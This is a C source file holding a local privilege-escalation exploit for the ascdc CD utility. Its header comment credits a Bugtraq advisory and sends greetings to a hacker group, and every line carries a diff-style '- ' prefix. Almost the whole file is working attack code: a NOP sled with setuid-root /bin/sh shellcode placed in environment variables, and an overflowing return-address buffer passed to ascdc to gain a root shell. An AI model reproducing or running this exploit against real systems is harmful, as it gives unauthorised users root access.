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- /* /usr/X11R6/bin/ascdc local exploit.
- * (version: ascdc-0.3-2-i386)
- *
- * Vulnerability found by Christer â•“berg, Wkit Security AB
- *
- * <cut and pasted from the advisory posted on bugtraq>
- *
- * There are multiple buffer overflows in ascdc that can be exploited to
- * gain root if it is installed setuid root. It is NOT installed setuid root
- * by default but as the README says:
- * "If you intend to use the automounting feature, you must either run
- * ascdc as root or setuid it."
- *
- * Greetz fly out to: Tasc, C-murdah, Calimonk, Pyra, Tozz, Wildcoyote,
- * Lucipher, Script0r, Zephyr, ThePike, Kn00p, Cerial
- * Goolie and X-wartech.
- *
- * - The Itch / BsE
- * - http://bse.die.ms
- * - irc.axenet.org
- */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- #define DEFAULT_EGG_SIZE 2048
- #define NOP 0x90
-
- /* adjust if needed, this should be suffient */
- #define DEFAULT_BUFFER_SIZE 600
-
- unsigned long get_sp(void)
- {
- __asm__("movl %esp, %eax");
- }
-
- char shellcode[] =
- "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- int main(int argc, char *argv[])
- {
- char *buff;
- char *egg;
- char *ptr;
- long *addr_ptr;
- long addr;
- int bsize = DEFAULT_BUFFER_SIZE;
- int eggsize = DEFAULT_EGG_SIZE;
- int i;
-
- if(argc > 1) { bsize = atoi(argv[1]); }
-
- if(!(buff = malloc(bsize)))
- {
- printf("unable to allocate memory for %d bytes\n", bsize);
- exit(1);
- }
-
- if(!(egg = malloc(eggsize)))
- {
- printf("unable to allocate memory for %d bytes\n", eggsize);
- exit(1);
- }
-
- addr = get_sp();
-
- printf("/usr/X11R6/bin/ascdc local exploit.\n");
- printf("Coded by The Itch / BsE\n\n");
- printf("Using return address: 0x%x\n", addr);
- printf("Using buffersize : %d\n", bsize);
-
- ptr = buff;
- addr_ptr = (long *) ptr;
- for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }
-
- ptr = egg;
- for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
- {
- *(ptr++) = NOP;
- }
-
- for(i = 0; i < strlen(shellcode); i++)
- {
- *(ptr++) = shellcode[i];
- }
-
- buff[bsize - 1] = '\0';
- egg[eggsize - 1] = '\0';
- memcpy(egg, "EGG=", 4);
- putenv(egg);
- memcpy(buff, "RET=", 4);
- putenv(buff);
-
- system("/usr/X11R6/bin/ascdc -c $RET");
-
- return 0;
- }
-
- /* remember, there's no cure for BsE */
-